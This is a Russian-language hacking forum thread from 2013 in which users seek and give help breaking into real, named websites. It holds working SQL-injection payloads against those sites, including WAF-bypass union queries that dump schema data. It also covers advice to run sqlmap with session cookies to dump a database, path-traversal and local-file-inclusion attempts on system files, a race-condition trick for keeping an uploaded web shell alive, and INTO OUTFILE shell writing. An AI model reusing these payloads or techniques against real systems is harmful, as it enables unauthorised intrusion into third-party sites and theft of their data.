http://www.aquaprima.ru/article_show.php?art_id=199+or+1+group+by+concat%2 8%28select+version%28%29%29,0x00,floor%28rand%280% 29*2%29%29having+min%280%29+or+1--+

sfinxs15
13.11.2013, 21:46
есть уязвимость FCK editor Arbitary File upload но когда открываю страницу на которой уязвимост там ничего нету. А Acunetix пишет что загрузил тестовый текст . Можете плз пошагово написать как залить шелл?

Unknown
13.11.2013, 21:59
sfinxs15 said:
есть уязвимость FCK editor Arbitary File upload но когда открываю страницу на которой уязвимост там ничего нету. А Acunetix пишет что загрузил тестовый текст . Можете плз пошагово написать как залить шелл?


ссылку пошлите

winstrool
13.11.2013, 22:58
sfinxs15 said:
есть уязвимость FCK editor Arbitary File upload но когда открываю страницу на которой уязвимост там ничего нету. А Acunetix пишет что загрузил тестовый текст . Можете плз пошагово написать как залить шелл?


Может вам эта тема поможет разобраться /threadnav314734-1-10-fckeditor.html

ishenko
14.11.2013, 01:50
Здравствуйте.

Вроде локал инклуд но не могу проинклудить...

Запрос

&language=ru"

[phpBB Debug] PHP Notice: in file /includes/session.php on line 1637: user::include(./language/ru"/common.php) [user.include]: failed to open stream: No such file or directory

[phpBB Debug] PHP Notice: in file /includes/session.php on line 1637: user::include() [function.include]: Failed opening './language/ru"/common.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear')

Language file ./language/ru"/common.php couldn't be opened.

language=ru../../../../../etc/passwd%00

[phpBB Debug] PHP Notice: in file /includes/session.php on line 1637: user::include(./language/passwd) [user.include]: failed to open stream: No such file or directory

[phpBB Debug] PHP Notice: in file /includes/session.php on line 1637: user::include() [function.include]: Failed opening './language/passwd' for inclusion (include_path='.:/usr/share/php:/usr/share/pear')

Language file ./language/passwd/common.php couldn't be opened.

language=ru../../../../../etc/passwd////кучу слешей/////

чистая страниц

language=ru../../../etc/passwd/%00

[phpBB Debug] PHP Notice: in file /includes/session.php on line 1637: user::include(./language/) [user.include]: failed to open stream: Success

[phpBB Debug] PHP Notice: in file /includes/session.php on line 1637: user::include() [function.include]: Failed opening './language/' for inclusion (include_path='.:/usr/share/php:/usr/share/pear')

Language file ./language//common.php couldn't be opened.

вывести не выходит не как...

помогите советом!

или тут не чего не зделаеш?

и еще вопрос -есть скуль инжект на сайте но надо авторизоваться чтобы его использовать .есть ли прога, скрипт которая логинится к сайту и потом дампит базу используя скуль инжект ? руками долго очень перебирать база большеватая)

-=Cerberus=-
14.11.2013, 11:37
ishenko

просто авторизируйся на сайте, залезь в настройки кукисов и посмотри, что там сайт установил.

потом используй их в SQLMAP параметр --cookie="тут через ; записываются куки"

теперь можешь крутить как авторизированный пользователь

ishenko
14.11.2013, 13:55
спасибо!! работает.

а по другому вопросу не ответите пожалуйста локал инклуд или не чего не сделаеш?

-=Cerberus=-
14.11.2013, 14:50
Почитай ТУТ (https://rdot.org/forum/showthread.php?t=343) хорошая подробная статья.

qaz
14.11.2013, 23:10
есть уязвимый на скулю скрипт, типа такого

$login = $_GET['login'];

SELECT id, user_name FROM users WHERE user_login = '$login'

ковычки слешируются, как составить любой запрос на выборку данных?

YaBtr
14.11.2013, 23:43
qaz said:
есть уязвимый на скулю скрипт, типа такого
$login = $_GET['login'];
SELECT id, user_name FROM users WHERE user_login = '$login'
ковычки слешируются, как составить любой запрос на выборку данных?




SELECT id, text FROM `news` WHERE user_login =
'\' UNION SELECT 1, concat_ws(0x3a,column1,column2) from table_name; --';


____

qaz
14.11.2013, 23:48
YaBtr said:
____


ну также как бы будет ошибка и ничего не выведет

YaBtr
15.11.2013, 01:03
qaz said:
ну также как бы будет ошибка и ничего не выведет


Соглашусь, ибо потестировал!

Тебе необходимо еще одно поле (с помощью слэшей коментируется часть запроса).

Например:


SELECT id, text FROM `news` WHERE user_login =
'\' && 'UNION SELECT 1, concat_ws(0x3a,column1,column2) from table_name; --';

Inoms
15.11.2013, 01:09
Можно так-же попробовать двойным url енкодингом попробовать пронести кавычку, но это очень сомнительно, но всё-же..)

Br@!ns
15.11.2013, 04:30
при попытке into outfile выскакиевает ошибка "CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[HY000]: General error". При повторном запросе того же самого запроса с тем же путем и тем же файлом, пишет "CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[HY000]: General error: 1086 File ', home=>www, pp2.txt' already exists. Файл в итоге этот все равно не создается, и несуществует (не инклудится). Пробовал разные папки и разные имена файлов. file_priv Y.

Разжуйте пожайлуста что ему ненравится тут, и что можно сделать. Спасибо

Unknown
15.11.2013, 12:30
qaz said:
есть уязвимый на скулю скрипт, типа такого
$login = $_GET['login'];
SELECT id, user_name FROM users WHERE user_login = '$login'
ковычки слешируются, как составить любой запрос на выборку данных?




PHP:
$login="\' union select 1,2-- ";

после слеширования кавычек получается


PHP:
$login="\\' union select 1,2-- ";

\\ - экранированный обратный слеш.

----


при попытке into outfile выскакиевает ошибка "CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[HY000]: General error". При повторном запросе того же самого запроса с тем же путем и тем же файлом, пишет "CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[HY000]: General error: 1086 File ', home=>www, pp2.txt' already exists. Файл в итоге этот все равно не создается, и несуществует (не инклудится). Пробовал разные папки и разные имена файлов. file_priv Y.
Разжуйте пожайлуста что ему ненравится тут, и что можно сделать. Спасибо


Возможно дело в правах выставляемых на файл. То есть он создаётся, но тот от кого выполняется процесс php прочитать его не может. Может быть дело в правах на папке, пробовал /tmp? Если нет то попробуй там создать.

Inoms
15.11.2013, 17:03
Ganz Euler said:

PHP:
$login="\\' union select 1,2-- ";

\\ - экранированный обратный слеш.


В итоге запрос будет выглядеть вот так:

SELECT id, user_name FROM users WHERE user_login = '\' union select 1,2--'

Т.е запись \' union select 1,2-- - обычный текст (логин).

Unknown
15.11.2013, 17:14
Неправильно написал я немного, но по сути верно всё.


PHP:




Code:
sergey@notebook $ php test.php
\\' union select 1,2--

Т.е. запрос SELECT id, user_name FROM users WHERE user_login = '\\' union select 1,2-- '

С точки зрения PHP правильно было бы написать мне тогда


PHP:
$login="\\\\' union select 1,2-- ";

, я же написал значение переменной по факту.

Inoms
15.11.2013, 17:49
Да, действительно верно, не обратил изначально внимание на сторону php В общем, чтобы запрос сработал, автору нужно в логин отправить \' и далее подставить сам запрос.

andrxx
18.11.2013, 19:19
нужна помощь ) тут есть скуль? у меня не получается раскрутить =\


http://www.circassian-genocide.com/cg-maps.php?page='&showold=yes

HeaVeNSeR
19.11.2013, 12:51
ребят,хелп

в админке одной CMS есть такой аплоад файлов:


Code:
if ($input->p['do'] == "install") {
if ($settings['demo'] == "yes") {
$error_msg = "This is not possible in demo version";
}
else {
if ($input->p['sesion_id'] != $_SESSION['sesion_id']) {
$error_msg = "Invalid token try again please";
}
else {
if ($_FILES['file']['type'] != "text/xml") {
$error_msg = "Invalid File";
}
else {
if (0 load("../upload/" . $_FILES['file']['name']);
$langnames = $doc->getElementsByTagName("name");
$langname = $langnames->item(0)->nodeValue;
$langversions = $doc->getElementsByTagName("ptcevolution");
$langversion = $langversions->item(0)->nodeValue;
$langfiles = $doc->getElementsByTagName("filename");
$langfile = $langfiles->item(0)->nodeValue;

if ((empty($$langname) || empty($$langversion)) || empty($$langfile)) {
$error_msg = "Invalid File";
}
else {
if ($langversion != $software['version']) {
$error_msg = $langname . " is not configured for PTCEvolution " . $software['version'];
}
else {
$verifylang = $db->fetchOne(("SELECT COUNT(*) AS NUM FROM language WHERE name='" . $langname . "' and version='" . $software['version'] . "'"));

if ($verifylang == 0) {
$datastored = array("name" => $langname, "version" => $langversion, "filename" => $langfile);
$insert = $db->insert("language", $datastored);
$success_msg = $langname . " was sucessfully installed! Click here to manage installed languages";
}
else {
$error_msg = $langname . " is already installed on this site.";
}
}
}

unlink("../upload/" . $_FILES['file']['name']);
}
}
}
}
}

то есть,если зайти под админом,подменить Content-type на text/xml и попробывать залить shell.php - он зальется в папку upload


Code:
move_uploaded_file($_FILES['file']['tmp_name'], "../upload/" . $_FILES['file']['name']);

но тут же удалится


Code:
unlink("../upload/" . $_FILES['file']['name']);

есть ли возможность задержать файл в папке /upload/ или же успеть выполнить код?

-=Cerberus=-
19.11.2013, 13:47
HeaVeNSeR

может попробывать, написать скрипт который нонстоп будет лить шел на сервер, а ты в браузере нонстоп будешь дергать шелл.

расскажешь потом получилось или нет)

andrxx
19.11.2013, 15:42
други помогите скуль докрутить, кое как обошел фильтры не могу теперь имена таблиц и юзеров вывести


http://www.founddoo.com/profile/viewitem/?view=1538&item=201'+/*!%0Dunion%0Dselect%0D*FROM(select%201)%20a1%20joi n%20(select%20version())%20a2%20join%20(select%203 )%20a3%20join%20(select%204)%20a4%20join%20(select %205)%20a5%20join%20(select%206)%20a6%20join%20(se lect%207)%20a7%20join%20(select%208)%20a8%20join%2 0(select%209)%20a9%20join%20(select%2010)%20a10%20 join%20(select%2011)%20a11%20join%20(select%2012)% 20a12*/+--+

YaBtr
19.11.2013, 16:02
andrxx said:
други помогите скуль докрутить, кое как обошел фильтры не могу теперь имена таблиц и юзеров вывести


Обходится следующим способом:


www.founddoo.com/profile/viewitem/?view=1538&item=201'+/*!%0Dunion%0Dselect*FROM(select 1)a1 join(select 2)a2 join(select
table_name from(information_schema.tables)
)a3 join(select 4)a4 join(select 5)a5 join(select 6)a6 join(select 7)a7 join(select 8)a8 join(select 9)a9 join(select 10)a10 join(select 11)a11 join(select 12)a12*/+--+


Дальше сам.

ex'pert
19.11.2013, 21:17
Доброго времени суток,

есть сайт с возможностью просмотреть файлы из виндоувс папки, (Directory traversal vuln) например:


Code:
?action=../../../../../../../../../../windows/System.ini%00.jpg

Вопрос можно ли выполнить запрос к командной строке? например послать команду выключения.. пробывал так:


Code:
action=../../../../../../../../../../windows/system32/cmd.exe-shutdown%20-t%200%00.jpg

непомогло. помогите разобратся(

chado
21.11.2013, 15:15
phpmyadmin

Пускает в админку phpmyadmin под любым логином, но после выполнения SQL запроса выдает:


Code:
Ответ MySQL: Документация
#1142 - SELECT command denied to user ''@'localhost' for table 'pma_bookmark'

При этом средствами phpmaydmin я могу создавать в таблице ячейки, менять их значение. Как нибудь можно повысить себе привилегии или залить шелл?

В ответ на


Code:
SELECT ''
FROM test
INTO OUTFILE '/usr/www/site/wwwfiles/phpmyadmin/s.php'

выдает:


Code:
Ответ MySQL: Документация
#1045 - Access denied for user ''@'localhost' (using password: NO)

Также есть уязвимость в phpmyadmin/export.php?what=sql, открывает sql.php в той же директории. Но при попытке выйти за пределы директории командой ../../../sql, открывает тот же файл. Две точки превращает в ./

qaz
21.11.2013, 19:20
chado said:
Пускает в админку phpmyadmin под любым логином, но после выполнения SQL запроса выдает:

Code:
Ответ MySQL: Документация
#1142 - SELECT command denied to user ''@'localhost' for table 'pma_bookmark'

При этом средствами phpmaydmin я могу создавать в таблице ячейки, менять их значение. Как нибудь можно повысить себе привилегии или залить шелл?
В ответ на

Code:
SELECT ''
FROM test
INTO OUTFILE '/usr/www/site/wwwfiles/phpmyadmin/s.php'

выдает:

Code:
Ответ MySQL: Документация
#1045 - Access denied for user ''@'localhost' (using password: NO)

Также есть уязвимость в phpmyadmin/export.php?what=sql, открывает sql.php в той же директории. Но при попытке выйти за пределы директории командой ../../../sql, открывает тот же файл. Две точки превращает в ./


врятли ты как-то права сможешь повысить, а чё, сменить пасс админки через phpmyadmin и залится ам - не вариант?

chado
22.11.2013, 10:11
qaz said:
врятли ты как-то права сможешь повысить, а чё, сменить пасс админки через phpmyadmin и залится ам - не вариант?


Я походу вообще без прав в phpmyadmin. information_schema даже читать не могу, изменения могу вносить только в таблицу test. Думал может можно через изменение этой таблицы что нибудь да залить)

kingbeef
22.11.2013, 23:16
Кто нибудь обходил waf хостинга hostgator.com на связку union select ?

winstrool
23.11.2013, 23:48
kingbeef said:
Кто нибудь обходил waf хостинга hostgator.com на связку union select ?


Вылажите ссылку уязвимую сего хостинга, а потестив люди скажут, что да как...